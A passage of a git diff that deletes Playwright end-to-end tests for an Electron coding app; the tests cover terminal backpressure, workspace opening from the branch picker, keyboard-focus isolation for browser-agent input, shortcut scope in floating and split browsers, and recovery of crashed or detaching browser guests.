readTerminalAckGateDebug, - readTerminalOutputSchedulerDebug, - readTerminalPtyOutputDebug, - releaseTerminalAckGate, - resetTerminalPtyOutputDebug, - waitForActiveWorktree, - waitForMainPtyPressureBacklog, - waitForSessionReady, - writeInteractivePromptScript -} - -test.describe('Artificial OpenCode terminal load', () => { - test.describe.configure({ mode: 'serial' }) - - test('keeps renderer backpressure bounded across worktree revisit', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await runRendererBackpressureRevisitScenario({ - backgroundPaneCount: PRESSURE_BACKGROUND_PANES, - deps: terminalLoadScenarioDeps, - mainRendererPressureTargetChars: MAIN_RENDERER_PRESSURE_TARGET_CHARS, - maxMedianKeyLatencyMs: MAX_MEDIAN_KEY_LATENCY_MS, - maxRendererSchedulerQueuedChars: MAX_RENDERER_SCHEDULER_QUEUED_CHARS, - maxRevisitLatencyMs: MAX_REVISIT_LATENCY_UNDER_LOAD_MS, - // Use loaded worst-echo/drift budgets under background pressure; strict budgets belong to the unloaded baseline. - maxTimerDriftMs: MAX_TIMER_DRIFT_UNDER_LOAD_MS, - maxWorstKeyLatencyMs: MAX_WORST_KEY_LATENCY_UNDER_LOAD_MS, - orcaPage, - pressureOutputChars: PRESSURE_OUTPUT_CHARS, - testInfo, - testRepoPath - }) - }) - - async function runConfiguredHiddenRealPtyPressureScenario( - orcaPage: Page, - testRepoPath: string, - testInfo: TestInfo, - hiddenPaneCount: number, - annotationSuffix?: string, - pressureOutputMode?: HiddenPressureOutputMode - ): Promise { - await runHiddenRealPtyPressureScenario({ - orcaPage, - testRepoPath, - annotationSuffix, - hiddenPaneCount, - pressureOutputChars: PRESSURE_OUTPUT_CHARS, - pressureOutputMode, - pressureStartDelayMs: HIDDEN_PRESSURE_START_DELAY_MS, - testInfo, - deps: terminalLoadScenarioDeps - }) - } - const hiddenPressureCases: { - title: string - suffix?: string - mode?: HiddenPressureOutputMode - }[] = [ - { title: 'keeps typing responsive while hidden real PTYs are ACK-backpressured' }, - // Assert hidden delivery is withheld in main; renderer skip-scanning was removed. - { - title: 'withholds renderer delivery for plain hidden PTY output while preserving restore', - suffix: '-plain', - mode: 'plain' - }, - { - title: 'withholds renderer delivery for Latin hidden PTY output while preserving restore', - suffix: '-latin', - mode: 'latin' - }, - { - title: - 'withholds renderer delivery for title-only hidden PTY output while preserving restore', - suffix: '-title', - mode: 'title' - }, - { - title: 'restores rich hidden model output under ACK-backpressured PTY output', - suffix: '-rich-model', - mode: 'rich-model' - } - ] - for (const hiddenPressureCase of hiddenPressureCases) { - test(hiddenPressureCase.title, async ({ orcaPage, testRepoPath }, testInfo) => { - await runConfiguredHiddenRealPtyPressureScenario( - orcaPage, - testRepoPath, - testInfo, - HIDDEN_PRESSURE_PANES, - hiddenPressureCase.suffix, - hiddenPressureCase.mode - ) - }) - } -}) diff --git a/tests/e2e/branch-picker-open-workspace.spec.ts b/tests/e2e/branch-picker-open-workspace.spec.ts deleted file mode 100644 index f35968899ac..00000000000 --- a/tests/e2e/branch-picker-open-workspace.spec.ts +++ /dev/null @@ -1,87 +0,0 @@ -/** - * "Open workspace" in the branch picker activates the workspace that holds the branch the same - * way the sidebar does: a workspace whose tabs were closed on purpose gets its default surface - * again instead of a blank window. - */ -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { activateWorkspaceByClick } from './helpers/slept-workspace-probe' -import { waitForActivePanePtyId } from './helpers/terminal' -import { openSourceControl } from './helpers/source-control-ai-generation' -import { removeWorktreeViaStore } from './helpers/dead-terminal' - -function readWorkspaceSurface(page: Page, worktreeId: string) { - return page.evaluate((id) => { - const state = window.__store!.getState() - return { - active: state.activeWorktreeId === id, - renderableTabs: state.reconcileWorktreeTabModel(id).renderableTabCount, - visibleTerminals: Array.from(document.querySelectorAll('.xterm')).filter( - (el) => el instanceof HTMLElement && el.offsetParent !== null - ).length - } - }, worktreeId) -} - -test('Open workspace in the branch picker shows a workspace whose tabs were closed', async ({ - orcaPage -}) => { - await waitForSessionReady(orcaPage) - const first = await waitForActiveWorktree(orcaPage) - const { target, branch } = await orcaPage.evaluate(async (firstId) => { - const state = window.__store!.getState() - const repoId = state.getKnownWorktreeById(firstId)!.repoId - const created = await state.createWorktree( - repoId, - `e2e-open-workspace-${Date.now()}`, - undefined, - 'skip' - ) - await state.fetchWorktrees(repoId) - const branchRef = state.getKnownWorktreeById(created.worktree.id)?.branch ?? '' - return { target: created.worktree.id, branch: branchRef.replace(/^refs\/heads\//, '') } - }, first) - - await activateWorkspaceByClick(orcaPage, target) - await waitForActivePanePtyId(orcaPage, 30_000) - await orcaPage.evaluate((id) => { - const state = window.__store!.getState() - for (const tab of state.unifiedTabsByWorktree[id] ?? []) { - state.closeUnifiedTab(tab.id) - } - }, target) - await activateWorkspaceByClick(orcaPage, first) - // Closed on purpose: the automatic first-visit shell no longer seeds it, only an explicit open does. - await expect - .poll(() => - orcaPage.evaluate((id) => { - const state = window.__store!.getState() - return { - renderableTabs: state.reconcileWorktreeTabModel(id).renderableTabCount, - emptiedTerminalRow: Object.hasOwn(state.tabsByWorktree, id), - closeRecorded: Object.values(state.closedTerminalTabTombstonesByTabId).some( - (record) => record.worktreeId === id - ) - } - }, target) - ) - .toEqual({ renderableTabs: 0, emptiedTerminalRow: true, closeRecorded: true }) - - await openSourceControl(orcaPage, first) - await orcaPage - .getByRole('button', { name: /^Switch branch:/ }) - .first() - .click() - await orcaPage - .getByRole('option') - .filter({ hasText: branch }) - .filter({ hasText: 'Open workspace' }) - .click() - - await expect - .poll(() => readWorkspaceSurface(orcaPage, target), { timeout: 20_000 }) - .toEqual({ active: true, renderableTabs: 1, visibleTerminals: 1 }) - - await removeWorktreeViaStore(orcaPage, target) -}) diff --git a/tests/e2e/browser-agent-input-focus-isolation-native.spec.ts b/tests/e2e/browser-agent-input-focus-isolation-native.spec.ts deleted file mode 100644 index b13824debfd..00000000000 --- a/tests/e2e/browser-agent-input-focus-isolation-native.spec.ts +++ /dev/null @@ -1,113 +0,0 @@ -// Prove browser-agent input preserves the user’s OS keyboard focus with a real keystroke (#20595). -// Run only on an isolated visible-window display; guest focus APIs alone cannot establish keyboard routing. - -import { execFileSync } from 'node:child_process' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { - evalInPage, - readHost, - runAgentClicksScenario, - runAgentCrossSiteFrameScenario, - runAgentKeysScenario, - runAgentShortcutsScenario, - type AfterAgentInput -} from './helpers/browser-agent-focus-scenarios' -import { startWindowsForegroundHolder } from './helpers/windows-foreground-holder' - -function hasXdotool(): boolean { - try { - execFileSync('xdotool', ['version'], { stdio: 'ignore' }) - return true - } catch { - return false - } -} - -function realKeystrokeReachesTerminal( - orcaPage: Page, - electronApp: ElectronApplication, - pressRealKey: (key: string) => Promise -): AfterAgentInput { - return async (pageId) => { - await expect - .poll(() => - electronApp.evaluate(({ BrowserWindow }) => BrowserWindow.getFocusedWindow() !== null) - ) - .toBe(true) - const pageKeysBefore = await evalInPage(orcaPage, pageId, 'JSON.stringify(window.__keys)') - await pressRealKey('y') - await expect.poll(async () => (await readHost(orcaPage)).log.includes('key:y')).toBe(true) - expect(await evalInPage(orcaPage, pageId, 'JSON.stringify(window.__keys)')).toBe(pageKeysBefore) - expect((await readHost(orcaPage)).terminalFocused).toBe(true) - } -} - -const scenarios = [ - ['agent keys and text', runAgentKeysScenario], - ['agent clicks and presses', runAgentClicksScenario], - ['agent shortcut keys', runAgentShortcutsScenario], - ['agent keys in a cross-site frame', runAgentCrossSiteFrameScenario] -] as const - -for (const [name, run] of scenarios) { - test(`${name} leave the user’s real keystrokes in the terminal @headful`, async ({ - orcaPage, - electronApp - }) => { - test.skip(process.platform !== 'linux', 'real keystrokes come from xdotool on the Xvfb lane') - expect(hasXdotool(), 'install xdotool on the Xvfb lane').toBe(true) - test.setTimeout(120_000) - await orcaPage.bringToFront() - await run( - orcaPage, - realKeystrokeReachesTerminal(orcaPage, electronApp, async (key) => { - execFileSync('xdotool', ['key', key]) - }) - ) - }) -} - -test.describe('on the Windows desktop', () => { - // Why: the holder takes the real foreground and the test presses real keys, so never on a desktop. - test.skip( - process.platform !== 'win32' || - process.env.GITHUB_ACTIONS !== 'true' || - process.env.RUNNER_ENVIRONMENT !== 'github-hosted', - 'real foreground and keystrokes need the hosted Windows CI desktop' - ) - - for (const [name, run] of scenarios) { - test(`${name} leave Orca behind the user’s app on Windows @headful`, async ({ - orcaPage, - electronApp - }) => { - const ownedWindow = await electronApp.browserWindow(orcaPage) - const windowId = await ownedWindow.evaluate((window) => window.id) - await ownedWindow.dispose() - const holder = await startWindowsForegroundHolder() - try { - // Why: background launch keeps Orca hidden, and a hidden window cannot be activated at all. - await electronApp.evaluate(({ BrowserWindow }, id) => { - BrowserWindow.fromId(id)?.showInactive() - }, windowId) - await holder.take() - await run(orcaPage, async (pageId) => { - // Why: a guest press that activates Orca's window pulls it over the app the user is in. - expect(await holder.foreground()).toMatchObject({ holder: true }) - // The same check must see Orca once it really is activated, or the one above proves nothing. - const orcaPid = await electronApp.evaluate(({ BrowserWindow }, id) => { - BrowserWindow.fromId(id)?.focus() - return process.pid - }, windowId) - await expect - .poll(() => holder.foreground()) - .toMatchObject({ holder: false, pid: orcaPid }) - await realKeystrokeReachesTerminal(orcaPage, electronApp, holder.press)(pageId) - }) - } finally { - await holder.close() - } - }) - } -}) diff --git a/tests/e2e/browser-floating-shortcut-scope.spec.ts b/tests/e2e/browser-floating-shortcut-scope.spec.ts deleted file mode 100644 index b2015994191..00000000000 --- a/tests/e2e/browser-floating-shortcut-scope.spec.ts +++ /dev/null @@ -1,181 +0,0 @@ -// STA-8147 follow-up: the floating browser and a focused split browser each answer only the -// chrome chords pressed inside them. - -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - browserAddressBar, - browserOverlay, - createTerminalBrowserSplit, - focusBrowserGroup, - pressKeyInBrowserGuest, - shortcutModifier -} from './helpers/browser-split-fixture' -import { - guestLoadStarts, - navigateGuest, - recordGuestLoadStarts, - waitForGuestIdle, - waitForGuestUrl -} from './helpers/browser-split-guest-probes' -import { startBrowserSplitPageServer } from './helpers/browser-split-page-server' - -// Why: mirrors FLOATING_TERMINAL_WORKTREE_ID in src/shared/workspace/identity/floating-workspace-id.ts. -const FLOATING_WORKTREE_ID = 'global-floating-terminal' -const FLOATING_PANEL = '[data-floating-terminal-panel]' -const isMac = process.platform === 'darwin' -const backChord = isMac ? 'Meta+BracketLeft' : 'Alt+ArrowLeft' -const forwardChord = isMac ? 'Meta+BracketRight' : 'Alt+ArrowRight' - -async function openFloatingBrowser( - page: Page, - url: string -): Promise<{ browserTabId: string; browserPageId: string }> { - const floating = await page.evaluate( - ({ worktreeId, initialUrl }) => { - const store = window.__store - if (!store) { - throw new Error('Store unavailable') - } - const settings = store.getState().settings - if (!settings) { - throw new Error('Settings are not loaded') - } - store.setState({ settings: { ...settings, floatingTerminalEnabled: true } }) - const state = store.getState() - const tab = state.createBrowserTab(worktreeId, initialUrl, { - activate: true, - focusAddressBar: false, - targetGroupId: state.ensureWorktreeRootGroup(worktreeId), - browserRuntimeEnvironmentId: null - }) - if (!tab.activePageId) { - throw new Error('Floating browser page unavailable') - } - return { browserTabId: tab.id, browserPageId: tab.activePageId } - }, - { worktreeId: FLOATING_WORKTREE_ID, initialUrl: url } - ) - // Why: the toggle listener closes over floatingTerminalEnabled, so wait for the panel to mount. - await expect(page.locator(FLOATING_PANEL)).toHaveCount(1) - const openPanel = page.locator(`${FLOATING_PANEL}[aria-hidden="false"]`) - if ((await openPanel.count()) === 0) { - await page.evaluate(() => window.dispatchEvent(new Event('orca-toggle-floating-terminal'))) - } - await expect( - openPanel.locator(`[data-browser-overlay-tab-id="${floating.browserTabId}"]`) - ).toBeVisible() - return floating -} - -function findInput(page: Page, browserTabId: string) { - return browserOverlay(page, browserTabId).getByPlaceholder('Find in page...') -} - -function cancelGrabButton(page: Page, browserTabId: string) { - return browserOverlay(page, browserTabId).getByRole('button', { - name: 'Cancel', - exact: true - }) -} - -// Why: a non-editable chrome target, so reload and grab are not skipped as text-field keys. -async function focusChrome(page: Page, browserTabId: string): Promise { - // Reload stays in the toolbar when narrow panes fold their element tools into the menu. - const target = browserOverlay(page, browserTabId).getByRole('button', { - name: 'Reload', - exact: true - }) - await expect(target).toBeEnabled() - await target.focus() - await expect(target).toBeFocused() -} - -test.describe('floating browser shortcut scope', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test('chrome shortcuts act only in the pane that owns the key press', async ({ orcaPage }) => { - const server = await startBrowserSplitPageServer() - try { - const split = await createTerminalBrowserSplit(orcaPage, server.pageUrl('split', 1)) - const floating = await openFloatingBrowser(orcaPage, server.pageUrl('float', 1)) - await focusBrowserGroup(orcaPage, split.browserGroupId) - await waitForGuestUrl(orcaPage, split.browserTabId, server.pageUrl('split', 1)) - await waitForGuestUrl(orcaPage, floating.browserTabId, server.pageUrl('float', 1)) - await navigateGuest(orcaPage, split.browserTabId, server.pageUrl('split', 2)) - await navigateGuest(orcaPage, floating.browserTabId, server.pageUrl('float', 2)) - - const cases = [ - { - name: 'float', - owner: floating.browserTabId, - other: split.browserTabId, - otherName: 'split' - }, - { - name: 'split', - owner: split.browserTabId, - other: floating.browserTabId, - otherName: 'float' - } - ] - for (const { name, owner, other, otherName } of cases) { - await test.step(`keys pressed in the ${name} browser chrome`, async () => { - await focusChrome(orcaPage, owner) - await orcaPage.keyboard.press(backChord) - await waitForGuestUrl(orcaPage, owner, server.pageUrl(name, 1)) - await waitForGuestIdle(orcaPage, other) - await waitForGuestUrl(orcaPage, other, server.pageUrl(otherName, 2)) - await focusChrome(orcaPage, owner) - await orcaPage.keyboard.press(forwardChord) - await waitForGuestUrl(orcaPage, owner, server.pageUrl(name, 2)) - await waitForGuestUrl(orcaPage, other, server.pageUrl(otherName, 2)) - - await recordGuestLoadStarts(orcaPage, [owner, other]) - await focusChrome(orcaPage, owner) - await orcaPage.keyboard.press(`${shortcutModifier}+r`) - await expect.poll(() => guestLoadStarts(orcaPage, owner)).toBeGreaterThan(0) - await waitForGuestIdle(orcaPage, owner) - expect(await guestLoadStarts(orcaPage, other)).toBe(0) - - await focusChrome(orcaPage, owner) - await orcaPage.keyboard.press(`${shortcutModifier}+f`) - await expect(findInput(orcaPage, owner)).toBeFocused() - await expect(findInput(orcaPage, other)).toBeHidden() - await orcaPage.keyboard.press('Escape') - await expect(findInput(orcaPage, owner)).toBeHidden() - - await focusChrome(orcaPage, owner) - await orcaPage.keyboard.press(`${shortcutModifier}+l`) - await expect(browserAddressBar(orcaPage, owner)).toBeFocused() - - await focusChrome(orcaPage, owner) - await orcaPage.keyboard.press(`${shortcutModifier}+c`) - await expect(cancelGrabButton(orcaPage, owner)).toBeVisible() - await expect(cancelGrabButton(orcaPage, other)).toBeHidden() - await cancelGrabButton(orcaPage, owner).click() - await expect(cancelGrabButton(orcaPage, owner)).toBeHidden() - }) - } - - await test.step('back pressed inside the floating page', async () => { - await pressKeyInBrowserGuest( - orcaPage, - floating.browserTabId, - floating.browserPageId, - isMac ? '[' : 'Left', - [isMac ? 'meta' : 'alt'] - ) - await waitForGuestUrl(orcaPage, floating.browserTabId, server.pageUrl('float', 1)) - await waitForGuestUrl(orcaPage, split.browserTabId, server.pageUrl('split', 2)) - }) - } finally { - await server.close() - } - }) -}) diff --git a/tests/e2e/browser-guest-attachment-validation.spec.ts b/tests/e2e/browser-guest-attachment-validation.spec.ts deleted file mode 100644 index 7effe22c2e7..00000000000 --- a/tests/e2e/browser-guest-attachment-validation.spec.ts +++ /dev/null @@ -1,177 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import os from 'node:os' -import path from 'node:path' -import { pathToFileURL } from 'node:url' -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId, waitForActiveWorktree } from './helpers/store' - -type BrowserFixture = { - browserTab: { activePageId: string; id: string } - fixtureUrl: string -} - -async function createBrowserFixture( - page: Page, - registerCleanup: (cleanup: () => Promise) => void -): Promise { - const fixtureDir = mkdtempSync(path.join(os.tmpdir(), 'orca-browser-attachment-')) - registerCleanup(async () => { - rmSync(fixtureDir, { recursive: true, force: true }) - }) - const fixturePath = path.join(fixtureDir, 'attachment.html') - writeFileSync( - fixturePath, - '

painted-attachment-guest

' - ) - const fixtureUrl = pathToFileURL(fixturePath).href - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - const worktreeId = await getActiveWorktreeId(page) - if (!worktreeId) { - throw new Error('Expected an active worktree') - } - const browserTab = await page.evaluate( - ({ targetWorktreeId, targetUrl }) => - window.__store?.getState().createBrowserTab(targetWorktreeId, targetUrl, { - title: 'Attachment fixture', - activate: true - }), - { targetWorktreeId: worktreeId, targetUrl: fixtureUrl } - ) - if (!browserTab?.activePageId) { - throw new Error('Failed to create browser attachment fixture tab') - } - return { - browserTab: { activePageId: browserTab.activePageId, id: browserTab.id }, - fixtureUrl - } -} - -async function readGuestState(page: Page, browserTabId: string) { - return page.evaluate(async (targetBrowserTabId) => { - const chromePresent = Boolean(document.querySelector(`[data-tab-id="${targetBrowserTabId}"]`)) - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${targetBrowserTabId}"] webview` - ) as Electron.WebviewTag | null - if (!webview) { - return { chromePresent, marker: null, url: null, webContentsId: null } - } - try { - const webContentsId = webview.getWebContentsId() - const guest = (await webview.executeJavaScript(`({ - marker: document.querySelector('#attachment-marker')?.textContent ?? null, - url: location.href - })`)) as { marker: string | null; url: string } - return { chromePresent, ...guest, webContentsId } - } catch { - return { chromePresent, marker: null, url: null, webContentsId: null } - } - }, browserTabId) -} - -test('resume validation waits for an attaching guest without replacing it', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const { browserTab, fixtureUrl } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - await expect - .poll(() => readGuestState(orcaPage, browserTab.id)) - .toMatchObject({ marker: 'painted-attachment-guest', url: fixtureUrl }) - const before = await readGuestState(orcaPage, browserTab.id) - expect(before.webContentsId).not.toBeNull() - - await orcaPage.evaluate((targetBrowserTabId) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${targetBrowserTabId}"] webview` - ) as Electron.WebviewTag - const getWebContentsId = webview.getWebContentsId.bind(webview) - let failedReads = 1 - webview.dataset.attachingGuestIdentity = 'original' - Object.defineProperty(webview, 'getWebContentsId', { - configurable: true, - value: () => { - if (failedReads > 0) { - failedReads -= 1 - webview.dataset.attachingGuestForcedRead = 'true' - throw new Error('guest still attaching') - } - webview.dataset.attachingGuestSuccessfulRead = 'true' - return getWebContentsId() - } - }) - }, browserTab.id) - - await orcaPage.evaluate( - (browserPageId) => window.api.browser.unregisterGuest({ browserPageId }), - browserTab.activePageId - ) - - await electronApp.evaluate(({ BrowserWindow }) => { - BrowserWindow.getAllWindows()[0]?.webContents.send('system:resumed') - }) - await expect - .poll(() => - orcaPage.evaluate( - (targetBrowserTabId) => - document - .querySelector(`[data-browser-overlay-tab-id="${targetBrowserTabId}"] webview`) - ?.getAttribute('data-attaching-guest-forced-read') ?? null, - browserTab.id - ) - ) - .toBe('true') - await orcaPage.evaluate((targetBrowserTabId) => { - document - .querySelector(`[data-browser-overlay-tab-id="${targetBrowserTabId}"] webview`) - ?.dispatchEvent(new Event('dom-ready')) - }, browserTab.id) - await expect - .poll(() => - orcaPage.evaluate((targetBrowserTabId) => { - const webview = document.querySelector( - `[data-browser-overlay-tab-id="${targetBrowserTabId}"] webview` - ) as Electron.WebviewTag | null - return { - forcedRead: webview?.dataset.attachingGuestForcedRead ?? null, - identity: webview?.dataset.attachingGuestIdentity ?? null, - successfulRead: webview?.dataset.attachingGuestSuccessfulRead ?? null - } - }, browserTab.id) - ) - .toEqual({ forcedRead: 'true', identity: 'original', successfulRead: 'true' }) - - await expect - .poll(() => readGuestState(orcaPage, browserTab.id)) - .toMatchObject({ - chromePresent: true, - marker: 'painted-attachment-guest', - url: fixtureUrl, - webContentsId: before.webContentsId - }) - await expect - .poll(() => - orcaPage.evaluate( - ({ browserPageId, webContentsId }) => - window.api.browser.isGuestRegistered({ browserPageId, webContentsId }), - { browserPageId: browserTab.activePageId, webContentsId: before.webContentsId! } - ) - ) - .toBe(true) - await expect - .poll(() => - orcaPage.evaluate( - ({ workspaceId, browserPageId }) => - window.__store - ?.getState() - .browserPagesByWorkspace[workspaceId]?.find((page) => page.id === browserPageId) - ?.loadError?.code ?? null, - { workspaceId: browserTab.id, browserPageId: browserTab.activePageId } - ) - ) - .toBeNull() -}) diff --git a/tests/e2e/browser-guest-crash-recovery.spec.ts b/tests/e2e/browser-guest-crash-recovery.spec.ts deleted file mode 100644 index d1a9eca15b5..00000000000 --- a/tests/e2e/browser-guest-crash-recovery.spec.ts +++ /dev/null @@ -1,747 +0,0 @@ -import { mkdtempSync, rmSync, writeFileSync } from 'node:fs' -import { createServer } from 'node:http' -import os from 'node:os' -import path from 'node:path' -import { pathToFileURL } from 'node:url' -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId, waitForActiveWorktree } from './helpers/store' -import { BROWSER_GUEST_RECOVERY_ERROR_CODE } from '../../src/renderer/src/components/browser-pane/host-guest/recovery/browser-page-guest-recovery' -import { - crashGuestRenderer, - listRegisteredBrowserPages, - readBrowserGuestState, - readGuestProcessId, - verifyBrowserWorktreeRetentionAndRecovery -} from './browser-guest-runtime-oracle' - -type BrowserFixture = { - browserTab: { id: string; activePageId: string } - fixtureUrl: string - worktreeId: string -} - -async function createBrowserFixture( - page: Page, - registerCleanup: (cleanup: () => Promise) => void -): Promise { - const fixtureDir = mkdtempSync(path.join(os.tmpdir(), 'orca-browser-recovery-')) - registerCleanup(async () => { - rmSync(fixtureDir, { recursive: true, force: true }) - }) - const fixturePath = path.join(fixtureDir, 'recovery.html') - writeFileSync( - fixturePath, - 'Recovery fixture

painted-file-guest

' - ) - const fixtureUrl = pathToFileURL(fixturePath).href - await waitForActiveWorktree(page) - await ensureTerminalVisible(page) - const worktreeId = await getActiveWorktreeId(page) - if (!worktreeId) { - throw new Error('Expected an active worktree') - } - const browserTab = await page.evaluate( - ({ targetWorktreeId, targetUrl }) => - window.__store?.getState().createBrowserTab(targetWorktreeId, targetUrl, { - title: 'Recovery fixture', - activate: true - }), - { targetWorktreeId: worktreeId, targetUrl: fixtureUrl } - ) - if (!browserTab?.activePageId) { - throw new Error('Failed to create browser recovery fixture tab') - } - return { - browserTab: { id: browserTab.id, activePageId: browserTab.activePageId }, - fixtureUrl, - worktreeId - } -} - -async function readBrowserPageRecoveryState( - page: Page, - workspaceId: string, - browserPageId: string -): Promise<{ loadErrorCode: number | null; url: string | null }> { - return page.evaluate( - ({ targetWorkspaceId, targetBrowserPageId }) => { - const browserPage = window.__store - ?.getState() - .browserPagesByWorkspace[targetWorkspaceId]?.find( - (entry) => entry.id === targetBrowserPageId - ) - return { - loadErrorCode: browserPage?.loadError?.code ?? null, - url: browserPage?.url ?? null - } - }, - { targetWorkspaceId: workspaceId, targetBrowserPageId: browserPageId } - ) -} - -test('browser chrome recovers a live registered file guest after renderer loss', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const { browserTab, fixtureUrl, worktreeId } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) - .toMatchObject({ - chromePresent: true, - marker: 'painted-file-guest', - url: fixtureUrl - }) - const before = await readBrowserGuestState(orcaPage, browserTab.id) - expect(before.webContentsId).not.toBeNull() - const beforeProcessId = await readGuestProcessId(electronApp, before.webContentsId!) - await expect - .poll( - async () => - (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.find( - (tab) => tab.browserPageId === browserTab.activePageId - ), - { timeout: 10_000 } - ) - .toMatchObject({ browserPageId: browserTab.activePageId, url: fixtureUrl }) - - const crashDetails = await crashGuestRenderer(electronApp, before.webContentsId!) - expect(['crashed', 'killed']).toContain(crashDetails.reason) - - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) - .toMatchObject({ - chromePresent: true, - marker: 'painted-file-guest', - url: fixtureUrl - }) - const recovered = await readBrowserGuestState(orcaPage, browserTab.id) - expect(recovered.webContentsId).toBe(before.webContentsId) - await expect - .poll(() => readGuestProcessId(electronApp, recovered.webContentsId!), { timeout: 10_000 }) - .not.toBe(beforeProcessId) - await expect - .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId), { timeout: 10_000 }) - .toMatchObject({ - ok: true, - result: { tabs: [{ browserPageId: browserTab.activePageId, url: fixtureUrl }] } - }) - - await orcaPage.evaluate( - async ({ targetBrowserTabId, targetValue }) => { - const overlay = document.querySelector( - `[data-browser-overlay-tab-id="${targetBrowserTabId}"]` - ) - const webview = overlay?.querySelector('webview') as Electron.WebviewTag - await webview.executeJavaScript( - `document.querySelector('#recovery-state').value = ${JSON.stringify(targetValue)}` - ) - }, - { targetBrowserTabId: browserTab.id, targetValue: 'unsaved-form-state' } - ) - await orcaPage.evaluate((browserPageId) => { - return window.api.browser.unregisterGuest({ browserPageId }) - }, browserTab.activePageId) - await expect - .poll( - async () => - (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.some( - (tab) => tab.browserPageId === browserTab.activePageId - ) ?? false - ) - .toBe(false) - await electronApp.evaluate(({ BrowserWindow }) => { - BrowserWindow.getAllWindows()[0]?.webContents.send('system:resumed') - }) - await expect - .poll(async () => - (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.find( - (tab) => tab.browserPageId === browserTab.activePageId - ) - ) - .toMatchObject({ browserPageId: browserTab.activePageId, url: fixtureUrl }) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) - .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) - const resumeRecovered = await readBrowserGuestState(orcaPage, browserTab.id) - expect(resumeRecovered.webContentsId).toBe(recovered.webContentsId) - expect(resumeRecovered.formValue).toBe('unsaved-form-state') - - const backgroundTab = await orcaPage.evaluate( - ({ targetWorktreeId }) => - window.__store?.getState().createBrowserTab(targetWorktreeId, 'about:blank', { - title: 'Background control', - activate: false - }), - { targetWorktreeId: worktreeId } - ) - expect(backgroundTab?.id).toBeTruthy() - await expect - .poll(() => readBrowserGuestState(orcaPage, backgroundTab!.id), { timeout: 10_000 }) - .toMatchObject({ chromePresent: true }) - - const beforeRendererReloadId = resumeRecovered.webContentsId - await orcaPage.reload() - await waitForActiveWorktree(orcaPage) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) - .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) - const rendererReloaded = await readBrowserGuestState(orcaPage, browserTab.id) - expect(rendererReloaded.webContentsId).not.toBe(beforeRendererReloadId) - - await orcaPage.evaluate((targetBrowserTabId) => { - window.__store?.getState().setActiveBrowserTab(targetBrowserTabId) - }, backgroundTab!.id) - const hiddenBefore = await readBrowserGuestState(orcaPage, browserTab.id) - const hiddenProcessId = await readGuestProcessId(electronApp, hiddenBefore.webContentsId!) - await crashGuestRenderer(electronApp, hiddenBefore.webContentsId!) - await expect - .poll(() => readGuestProcessId(electronApp, hiddenBefore.webContentsId!), { - timeout: 10_000 - }) - .not.toBe(hiddenProcessId) - await orcaPage.evaluate((targetBrowserTabId) => { - window.__store?.getState().setActiveBrowserTab(targetBrowserTabId) - }, browserTab.id) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) - .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) - - await verifyBrowserWorktreeRetentionAndRecovery({ - browserTab, - electronApp, - fixtureUrl, - page: orcaPage, - worktreeId - }) -}) - -test('dom-ready ID loss waits for validation without reloading the guest', async ({ - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const { browserTab, fixtureUrl, worktreeId } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ marker: 'painted-file-guest', url: fixtureUrl }) - const before = await readBrowserGuestState(orcaPage, browserTab.id) - - await orcaPage.evaluate((targetBrowserTabId) => { - const overlay = document.querySelector(`[data-browser-overlay-tab-id="${targetBrowserTabId}"]`) - const webview = overlay?.querySelector('webview') as Electron.WebviewTag - const getWebContentsId = webview.getWebContentsId.bind(webview) - const reload = webview.reload.bind(webview) - let failedReads = 2 - Object.defineProperty(webview, 'getWebContentsId', { - configurable: true, - value: () => { - if (failedReads > 0) { - failedReads -= 1 - throw new Error('guest detached') - } - webview.dataset.domReadyIdRestored = 'true' - return getWebContentsId() - } - }) - Object.defineProperty(webview, 'reload', { - configurable: true, - value: () => { - webview.dataset.recoveryReloadAttempted = 'true' - reload() - } - }) - webview.dispatchEvent(new Event('dom-ready')) - }, browserTab.id) - - await expect - .poll(() => - orcaPage.evaluate( - (targetBrowserTabId) => - document - .querySelector(`[data-browser-overlay-tab-id="${targetBrowserTabId}"] webview`) - ?.getAttribute('data-dom-ready-id-restored') ?? null, - browserTab.id - ) - ) - 